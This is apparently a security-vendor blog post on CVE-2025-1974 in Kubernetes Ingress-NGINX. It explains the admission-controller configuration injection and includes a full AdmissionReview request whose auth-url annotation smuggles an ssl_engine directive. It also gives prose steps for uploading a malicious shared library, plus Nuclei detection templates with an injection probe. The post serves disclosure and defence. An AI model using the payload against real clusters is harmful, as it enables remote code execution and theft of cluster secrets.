-

11 min read

IngressNightmare: Unauth RCE in Ingress NGINX (CVE-2025-1974)

IngressNightmare: Unauth RCE in Ingress NGINX (CVE-2025-1974)

A critical vulnerability (CVE-2025-1974) was recently discovered in the Kubernetes Ingress-NGINX Controller that allows unauthenticated remote code execution (RCE) on the ingress controller pod.

Originally discovered by the Wiz research team (Nir Ohfeld, Ronen Shustin, Sagi Tzadik, Hillai Ben-Sasson) in late 2024 and disclosed in March 2025, CVE-2025-1974 is part of a series of vulnerabilities collectively called IngressNightmare.

If you’re specifically looking to use the IngressNightmare detection templates, feel free to skip ahead to the end of the blog post.

What is Ingress-Nginx Controller?

Ingress-Nginx Controller is one of the most popular ingress controllers available for Kubernetes, and a core Kubernetes project with over 18.1k+ stars on GitHub. It serves as a critical component in the Kubernetes ecosystem, acting as the gateway between external traffic and internal services running within a Kubernetes cluster.

The Role of Ingress Controllers in Kubernetes

In Kubernetes, an Ingress is an API object that manages external access to services within a cluster, typically via HTTP/HTTPS. However, the Ingress resource itself doesn't do anything without an Ingress controller - a component that interprets the Ingress resource specifications and configures the actual routing.Ingress-Nginx Controller fulfills this role by implementing the Ingress specification using NGINX, one of the most widely used reverse proxies and load balancers. It's explicitly highlighted in the Kubernetes documentation as an example Ingress controller that fulfills the prerequisite for using Ingress in Kubernetes.

Technical Details of the Vulnerability (CVE-2025-1974)

The Admission Controller Vulnerability

CVE-2025-1974 is a critical vulnerability in the Ingress-Nginx Controller that allows for unauthenticated remote code execution. At its core, this vulnerability stems from a design flaw in how the admission controller component processes and validates incoming ingress objects.The admission controller in Ingress-Nginx is designed to validate incoming ingress objects before they are deployed to ensure the resulting NGINX configuration will be valid. By default, these admission controllers are accessible over the network without authentication, making them a highly appealing attack vector.

The Vulnerability Mechanism

When the Ingress-Nginx admission controller processes an incoming ingress object, it constructs an NGINX configuration from it and then validates it using the NGINX binary with the -t flag. Wiz research team found a vulnerability in this phase that allows injecting arbitrary NGINX configuration remotely by sending a malicious ingress object directly to the admission controller through the network.The vulnerability specifically involves the Ingress annotation, which can be exploited to inject configuration into NGINX. Some annotations can be manipulated to inject arbitrary NGINX directives.Let's examine how this works:

  1. The admission controller receives an ingress object with a specially crafted auth-url annotation
  2. When processing this annotation, the controller doesn't properly sanitize the input
  3. The malicious annotation value is incorporated into the NGINX configuration
  4. During validation with nginx -t, the injected configuration causes code execution

From Configuration Injection to RCE

The progression from configuration injection to remote code execution exploits weaknesses in NGINX’s configuration validation process. Initially, Wiz research team explored the load_module directive, which allows loading shared libraries from the filesystem. However, since this directive can only be used at the start of the NGINX configuration, it was incompatible with the injection point. Further investigation led to the ssl_engine directive, part of the OpenSSL module, which can also load shared libraries. Unlike load_module, ssl_engine can be used anywhere within the configuration file.

Uploading a Shared Library

The next challenge in exploiting this vulnerability is placing a shared library on the pod's filesystem. The research team discovered that the Ingress-Nginx pod also runs the NGINX instance itself, listening on port 80 or 443. By sending a specially crafted HTTP request to this instance, we can leverage NGINX's client body buffers to upload a malicious shared library to the filesystem.Once the shared library is uploaded and the malicious configuration is injected, the ssl_engine directive loads the library during the validation phase, executing the attacker's code with the privileges of the Ingress-Nginx controller pod.

Affected Versions

This vulnerability affects:

  • Ingress-Nginx Controller version 1.11.x before 1.11.5
  • Ingress-Nginx Controller versions below 1.11.0

The vulnerability has been fixed in versions 1.12.1 and later, as well as 1.11.5 and later.

Exploitation Demonstration

This section provides a detailed walkthrough of how CVE-2025-1974 can be exploited in vulnerable Ingress-Nginx Controller deployments. Understanding the exploitation process is crucial for security teams to properly assess their risk and validate their defenses.

It's important to note that by default, admission controllers are accessible over the network without authentication, making this attack vector particularly dangerous.

Step 1: Identify Vulnerable Clusters

First, an attacker would identify clusters running vulnerable versions of Ingress-Nginx Controller. This can be done by:bash

cli

1kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx

Then checking the image version to determine if it's vulnerable (versions prior to 1.11.5 or 1.12.1).

Step 2: Craft a Malicious Admission Review Request

The attacker creates a specially crafted AdmissionReview request that includes an ingress object with the malicious auth-url annotation. Here's an example of such a request:

JSON

1{
2  "kind": "AdmissionReview",
3  "apiVersion": "admission.k8s.io/v1",
4  "request": {
5    "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5",
6    "kind": {
7      "group": "networking.k8s.io",
8      "version": "v1",
9      "kind": "Ingress"
10    },
11    "resource": {
12      "group": "networking.k8s.io",
13      "version": "v1",
14      "resource": "ingresses"
15    },
16    "requestKind": {
17      "group": "networking.k8s.io",
18      "version": "v1",
19      "kind": "Ingress"
20    },
21    "requestResource": {
22      "group": "networking.k8s.io",
23      "version": "v1",
24      "resource": "ingresses"
25    },
26    "name": "test-ingressxaa",
27    "namespace": "default",
28    "operation": "CREATE",
29    "userInfo": {
30
31    },
32    "object": {
33      "kind": "Ingress",
34      "apiVersion": "networking.k8s.io/v1",
35      "metadata": {
36        "name": "test-ingressxaa",
37        "namespace": "default",
38        "creationTimestamp": null,
39        "annotations": {
40          "nginx.ingress.kubernetes.io/rewrite-target": "/",
41"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /path/to/shared-library.so;events {\nserver { location /aa { #"
42        }
43      },
44      "spec": {
45        "ingressClassName": "nginx",
46        "rules": [
47          {
48            "host": "test.local",
49            "http": {
50              "paths": [
51              ]
52            }
53          }
54        ]
55      },
56      "status": {
57        "loadBalancer": {}
58      }
59    },
60    "oldObject": null,
61    "dryRun": true,
62    "options": {
63      "kind": "CreateOptions",
64      "apiVersion": "meta.k8s.io/v1"
65    }
66  }
67}

The key part of this payload is the auth-url annotation, which contains the NGINX configuration injection.

Step 3: Upload a Malicious Shared Library

In parallel, the attacker needs to upload a malicious shared library to the pod's filesystem. This can be done by sending a specially crafted HTTP request to the NGINX instance running in the same pod:

  1. Create a malicious shared library (.so file) that contains the code to be executed
  2. Send a large HTTP POST request to the NGINX instance
  3. The request body will be buffered to disk due to its size
  4. The attacker can then reference this file using the ssl_engine directive

Step 4: Execute the Payload

When the admission controller processes the malicious ingress object, it will:

  1. Generate an NGINX configuration that includes the injected directives
  2. Validate the configuration using nginx -t
  3. During validation, the ssl_engine directive will load the malicious shared library
  4. The code in the shared library will execute with the privileges of the Ingress-Nginx controller pod

Nuclei Templates for IngressNightmare Detection

To help security teams identify vulnerable Ingress-Nginx Controller deployments in their environments, we've write Nuclei templates for both external and internal testing. These templates can be used to detect the presence of CVE-2025-1974 in your Kubernetes clusters.

Vulnerable Exposed Admission Controller Template

This template is designed to detect vulnerable Ingress-Nginx admission controllers that are exposed to the internet. It works by sending a crafted admission review request and analyzing the response.

Nuclei Template to detect CVE-2025-1974 - CVE Scan URL

cli

1id: CVE-2025-1974
2
3info:
4  name: Ingress-Nginx Controller - Remote Code Execution
5  author: iamnoooob,rootxharsh,pdresearch
6  severity: critical
7  description: |
8    A security issue was discovered in ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
9  impact: |
10    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
11  remediation: |
12    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
13  reference:
14    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
15    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
16    - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
17  classification:
18    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
19    cvss-score: 9.8
20    cwe-id: CWE-653
21    cve-id: CVE-2025-1974
22  metadata:
23    verified: true
24    max-request: 1
25    shodan-query: ssl:"ingress-nginx" port:8443
26  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s
27
28http:
29  - raw:
30      - |
31        POST / HTTP/1.1
32        Host: {{Hostname}}
33        Content-Type: application/json
34
35        {
36          "kind": "AdmissionReview",
37          "apiVersion": "admission.k8s.io/v1",
38          "request": {
39            "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
40            "kind": {
41              "group": "networking.k8s.io",
42              "version": "v1",
43              "kind": "Ingress"
44            },
45            "resource": {
46              "group": "networking.k8s.io",
47              "version": "v1",
48              "resource": "ingresses"
49            },
50            "requestKind": {
51              "group": "networking.k8s.io",
52              "version": "v1",
53              "kind": "Ingress"
54            },
55            "requestResource": {
56              "group": "networking.k8s.io",
57              "version": "v1",
58              "resource": "ingresses"
59            },
60            "name": "test-{{randstr}}",
61            "namespace": "default",
62            "operation": "CREATE",
63            "userInfo": {
64
65            },
66            "object": {
67              "kind": "Ingress",
68              "apiVersion": "networking.k8s.io/v1",
69              "metadata": {
70                "name": "test-{{randstr}}",
71                "namespace": "default",
72                "creationTimestamp": null,
73                "annotations": {
74        "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
75                }
76              },
77              "spec": {
78                "ingressClassName": "nginx",
79                "rules": [
80                  {
81                    "host": "{{randstr}}",
82                    "http": {
83                      "paths": [
84                      ]
85                    }
86                  }
87                ]
88              },
89              "status": {
90                "loadBalancer": {}
91              }
92            },
93            "oldObject": null,
94            "dryRun": true,
95            "options": {
96              "kind": "CreateOptions",
97              "apiVersion": "meta.k8s.io/v1"
98            }
99          }
100        }
101
102    matchers:
103      - type: word
104        part: body
105        words:
106          - 'AdmissionReview'
107          - 'directive is not allowed here'
108          - 'load_module'
109        condition: and

cli

1pwnmachine@PD ~ % nuclei -t CVE-2025-1974.yaml -u "https://<redacted>:8443"
2                     __     _
3   ____  __  _______/ /__  (_)
4  / __ \/ / / / ___/ / _ \/ /
5 / / / / /_/ / /__/ /  __/ /
6/_/ /_/\__,_/\___/_/\___/_/   v3.3.10
7
8		projectdiscovery.io
9
10[INF] Current nuclei version: v3.3.10 (latest)
11[INF] Current nuclei-templates version: v10.1.5 (latest)
12[WRN] Scan results upload to cloud is disabled.
13[INF] New templates added in latest release: 281
14[INF] Templates loaded for current scan: 1
15[WRN] Loading 1 unsigned templates for scan. Use with caution.
16[INF] Targets loaded for current scan: 1
17
18[CVE-2025-1974] [http] [critical] https://<redacted>:8443

Template Breakdown:

Sending a POST request to the target host with a specially crafted AdmissionReview JSON payload

  1. The payload includes an ingress object with a malicious annotation that attempts to inject a load_module directive that tries to load a random file on the filesystem.
  2. If the target is a vulnerable Ingress-Nginx admission controller, it will process the request and return an error message indicating that the "DSO support routines:: could not load the shared library", along side some other error messages which are then matched by the template for detection.

This template is particularly useful for identifying externally exposed admission controllers that could be targeted by attackers.

Internal Kubernetes Cluster Template

The following template is to be run from within a Kubernetes cluster. This can come in handy along with other Kubernetes Cluster Security templates during Kubernetes configuration review engagements.

It checks for vulnerable versions of the Ingress-Nginx controller by examining the container images used in the deployment.

cli

1id: CVE-2025-1974-k8s
2
3info:
4  name: Ingress-Nginx Controller - Unauthenticated Remote Code Execution
5  author: princechaddha
6  severity: critical
7  description: A security issue was discovered in ingress-nginx where some Ingress annotations can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
8  impact: |
9    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
10  remediation: |
11    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
12  reference:
13    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
14    - 
15  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security
16
17flow: |
18  code(1) ;
19  for (let pod of template.items) {
20    set("pod", pod)
21    javascript(1);
22  }
23
24self-contained: true
25code:
26  - engine:
27      - sh
28      - bash
29    source: kubectl get pods -n ingress-nginx -l app.kubernetes.io/component=controller -o json
30    extractors:
31      - type: json
32        name: items
33        internal: true
34        json:
35          - '.items[]'
36
37javascript:
38  - code: |
39        let podData = JSON.parse(template.pod);
40
41        const container = podData.spec.containers.find(c => c.name === 'controller');
42        if (container && container.image) {
43          const imageTag = container.image.split(':')[1];
44          if (imageTag) {
45            const version = imageTag.split('@')[0].replace(/^v/, '');
46            const [major, minor, patch] = version.split('.').map(v => parseInt(v, 10));
47
48            if ((major === 1 && minor === 11 && patch < 5) ||
49                (major === 1 && minor === 12 && patch === 0) ||
50                (major === 1 && minor < 11) ||
51                (major === 1 && minor === 9 && patch <= 3)) {
52              let result = (`Ingress-Nginx controller in namespace '${podData.metadata.namespace}' is running vulnerable version ${version}. Update to v1.12.1+ or v1.11.5+`);
53              Export(result);
54            }
55          }
56        }
57
58    extractors:
59      - type: dsl
60        dsl:
61          - response

cli

1pwnmachine@PD ~ % nuclei -t CVE-2025-1974-k8s.yaml -code
2
3                     __     _
4   ____  __  _______/ /__  (_)
5  / __ \/ / / / ___/ / _ \/ /
6 / / / / /_/ / /__/ /  __/ /
7/_/ /_/\__,_/\___/_/\___/_/   v3.3.10
8
9		projectdiscovery.io
10
11[INF] Current nuclei version: v3.3.10 (latest)
12[INF] Current nuclei-templates version: v10.1.5 (latest)
13[WRN] Scan results upload to cloud is disabled.
14[INF] New templates added in latest release: 0
15[INF] Templates loaded for current scan: 1
16[INF] Executing 1 signed templates from a
17
18[CVE-2025-1974-k8s] [javascript] [critical]  ["Ingress-Nginx controller in namespace 'ingress-nginx' is running vulnerable version 1.9.3. Update to v1.12.1+ or v1.11.5+"]

Template Breakdown:

  1. Using kubectl to get all pods in the ingress-nginx namespace with the label app.kubernetes.io/component=controller
  2. For each pod found, it extracts the container image version
  3. It then parses the version number and checks if it matches any of the vulnerable version patterns
  4. If a vulnerable version is detected, it reports the finding with details about the affected namespace and version

This template is particularly useful for security teams conducting internal audits of their Kubernetes environments.

You can check out the blog below if you’d like to learn more about the above template along with our other Kubernetes cluster security templates.

To use these templates with Nuclei:

  • Run the external template against potentially exposed admission controllers:

cli

1nuclei -t CVE-2025-1974.yaml -u https://admission-controller-endpoint
  • To run the internal template we need to install kubectl and configure its contexts or specific access permissions. We need to sign the template before running it, as it’s a code-based template and requires signing to prevent the execution of untrusted external code.

cli

1nuclei -id CVE-2025-1974-k8s.yaml -sign
2nuclei -id CVE-2025-1974-k8s.yaml -code

It's important to note that the internal template requires kubectl access to your cluster with appropriate permissions, while the external template can be run from anywhere with network access to the target.

Remediation Recommendations

We strongly recommend the following actions to mitigate the risk of this vulnerability:

  1. Update Immediately: Upgrade to Ingress-Nginx Controller version 1.12.1 or later, or version 1.11.5 or later. This is the most effective way to address the vulnerability.
  2. Network Policies: Implement strict network policies to ensure that only the Kubernetes API Server can access the admission controller.

Timeline:

  • December 31, 2024: Vulnerability (CVE-2025-1974) initially reported privately to Kubernetes security team by Wiz Research.
  • March 24, 2025: Public disclosure and detailed advisory published by Kubernetes and Wiz Research. Patched versions (1.12.1 and 1.11.5) released.
  • March 25, 2025: The Nuclei templates for internal detection were published by the ProjectDiscovery Team.
  • March 26, 2025: The Nuclei templates for external detection were published by the ProjectDiscovery Team.

Conclusion

The IngressNightmare vulnerability (CVE-2025-1974) represents one of the most significant security threats to Kubernetes environments in recent years. This critical unauthenticated remote code execution vulnerability in the Ingress-Nginx Controller can lead to complete cluster takeover, with attackers gaining access to all secrets across namespaces.

This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to automatically scan for this vulnerability as part of their continuous security assessments.